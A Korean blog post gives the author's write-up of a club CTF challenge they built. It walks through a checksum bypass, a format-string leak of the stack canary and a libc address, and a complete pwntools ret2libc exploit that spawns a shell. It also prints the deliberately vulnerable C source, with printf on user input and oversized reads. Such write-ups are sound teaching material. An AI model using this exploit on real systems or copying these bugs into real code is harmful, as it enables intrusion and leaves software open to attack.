사실 이 글을 써도 되는지는 모르겠지만, 우리 학교 동아리 부원이 내 블로그를 볼 일은 없을 것이라 생각하고, 문제와 해설을 올려보자 한다. 만약 보신다면 살포시..! 뒤로가기를 눌러주십셔.
문제는 Format String 과 Bof 그리고 문제의 이름인 Checksum을 합쳐서 만들었다 . 하루만에 만드느라 힘들었다..
보호기법은 Canary , NX, Partial RELRO를 걸어줬다.
checksum도 문제이름이고, 함수이름에도 checksum이 많이 들어가 있는 걸 보니, checksum이 중요하게 작용하겠다.
일단은 기본적으로 dest라는 배열이 rbp-0x2C ~ rbp-0x18까지 차지하고, buf라는 배열이 rbp-0x18~rbp-0x4까지 차지한다. 두 배열은 크기가 20byte로 동일하다는 것을 알 수 있다.
그리고 dest라는 배열에 Security Factorial! 이라는 20byte (뒤에는 널문자)를 복사, buf 배열에는 이상한 문자열을 복사한다.
read로 30byte만큼 입력을 받고 makeCSByte라는 함수를 실행을 하고, 그 결과값을 check라는 함수에 buf와 함께 전달하여 true일시 FSB와 Bof를 할 수 있는 여건이 주어진다. got overwrite도 할 수는 있을 것 같긴 하지만, 더 편한 bof를 하자.
0xffffcefc(주소는 변동 가능)에 Security Factorial을 복사한다.
음... 바로 뒤에 이어져 있다. 이를 16진수로 보면...!
아스키 코드로 딱 1차이씩 난다. 공백과 마지막 물음표를 제외하고는. 여기서 합리적 의심을 해보자.
문제의 이름인 Checksum과 , Check Checksum Vulnerability, 그리고 makeCSByte가 뭐하는 것인지 말이다.
애당초 makeCSByte는 읽을 수도 없다. 심지어 C언어로 변환도 잘못된듯.. 디스어셈블해서 보면 and 연산이 존재한다.
체크섬이 뭘까?
체크섬은 오류를 검출하는 알고리즘이다. 보통 네트워크상에서 바이트들이 변조되는 경우가 있는데, 이를 검출하는 용도이다.
위키백과에서 가져온 예이다. (캐리니블은 상위 2byte, 0xff와 and연산을 해주면 캐리니블이 버려진다.)
마지막줄에 오류가 있어도 우연히 0x00이 될 수 있다를 주목하자!
저 경우는 어떤 경우나면, 오류들이 서로를 상쇄시켜 합이 오리지널과 동일하게 나오는 경우이다.
예를들어 윗 예시에서 0x26(+1), 0x61(-1),0x3F,0x52로 값이 변조됬다고 해도, 결국 총합은 동일하기 때문에 체크섬은 이상이 없다고 할 것이다.
뭐 대강 추리해보면 check함수는 저 checksum을 확인하는 용도, makeCheckSumbyte는 체크섬바이트를 만든다고 생각이..가능할까? 이걸 모르면 풀수가 없긴 하다..
이렇게 check함수는 buf배열과, dest배열에서 추출한 checksum byte로 checksum 검사를 한다.
체크섬 바이트는 0xd2가 되겠다.
그렇다면 다음에 나오는 read함수는 30byte만큼 dest배열에 받는데, 여기서 버퍼 오버플로우가 날 수 있겠다.
이를 통해서 저 이상한 문자가 담겨있는 배열을 수정시켜서 checksum을 뚫어야 하는게 1차 과제가 되겠다.
(40byte를 받게 하면 그
일단은 저 문자들은 Security Factorial!에서 영문자들만 1씩 빠진 값이므로 현재는 17이 차이가 나고, 17만 더해주면 된다. R(82)+17=c(99)이다. 그러면 aaaaaaaaaaaaaaaaaaaac 를 일단 넣어주면 checksum 부분은 통과할 것 같다!
(이부분은 각자의 개성이다. 만약 sendline을 쓸 경우에는 '~~curity '로도 통과가 된다.)
1차 관문은 통과했다. 개행한번과 printf가 실행되었다! 이제는 leak을 할 차례이다.
leak은 FSB로 할 수가 있다. 본 블로그의 formatstring 문제라는 글을 참고하면, 스택 밑에는 libc관련 주소를 하나 무조건 담고있다. 그것과 canary를 leak을 할 필요가 있다.
노란색으로 표시된 부분이 canary와 libc_start_main+247이다.
저부분을 FSB로 leak을 하면되는데, 배열의 시작부분 인덱스를 알아보자.
시작인덱스는 3이다. 따라서 저 노란색 부분들은 13,15가 된다.
그래서 총 페이로드는
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
from pwn import*
libc_offset=0x018550
p=process('./ccc')
#p=remote('34.64.252.122',10005)
p.recvuntil('Leave your Comment')
p.send('aa%13$x%15$xaaaaaaaa'+'c')
#p.sendline("aaa%3$x%14$xaaaaaaaa~~curity ") #another payload
p.recvline()
p.recv(2) #aa
canary=p.recv(6)
p.recv(2) #00
libc_start_main=int(p.recv(8),16)-247
libc_base=libc_start_main-libc_offset
system=libc_base+0x03adb0
binsh=libc_base+0x15bb0b
p.recv(100)
print('canary :00'+canary)
print('libc start_main :'+hex(libc_start_main))
print('system :'+hex(system))
print('/bin/sh :'+hex(binsh))
payload=''
payload+='A'*20 #buf
payload+='\x00' #null
payload+=p32(0x00+int(canary,16)) #canary
payload+='B'*3+p32(system)
payload+='C'*4+p32(binsh) #dummy+binsh
p.send(payload)
p.interactive()
|
cs |
다음과 같다. 여기서 B*3이 들어간 이유는 4바이트 단위로 넣어주고 싶은데, 카나리를 패킹할때 4byte가 아니면 패킹 되지가 않고 앞에 NULL은 들어가야해서 카나리를 주입하는 부분이 5byte가 되버렸기 때문..
추가로 원본 C언어 코드는 다음과 같다
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
int makeCheckSumByte(const char* buf)
{
int checksum = 0;
for (int i = 0; i < 19; i++)
checksum += buf[i];
checksum &= 0xff;
checksum ^= 0xff;
checksum++;
return checksum;
}
int check(char* buf, int checksum)
{
int tmp = checksum;
for (int i = 0; i < 19; i++)
tmp += buf[i];
tmp &= 0xff;
if (tmp == 0)
return 1;
else
return 0;
}
int main()
{
setvbuf(stdin,0,2,0);
setvbuf(stdout, 0, 2, 0);
const char *str= "Security Factorial!"; //1838
const char *str1="Rdbtqhsx E`bsnqh`k!";
char buf[20];
char tmp[20] = "Rdbtqhsx E`bsnqh`k!";
strcpy(buf, str);
strcpy(tmp,str1);
puts("Leave your Comment");
read(0,buf,30);
if(check(tmp,makeCheckSumByte(str)))
{
printf(buf); //canary leak
read(0,tmp,100);
}
else
{
puts("Check CheckSum Vulnerability");
}
}
|
cs |
'전공쪽 > 동아리 관련' 카테고리의 다른 글
동아리 가을 CTF write up (0) | 2020.10.11 |
---|---|
[동아리CTF] FastFood Write-up (0) | 2020.10.02 |
FSB를 위한 함수 (0) | 2020.08.31 |
StackPivot 문제 (1) | 2020.07.31 |
FormatString 공격 문제 (0) | 2020.07.29 |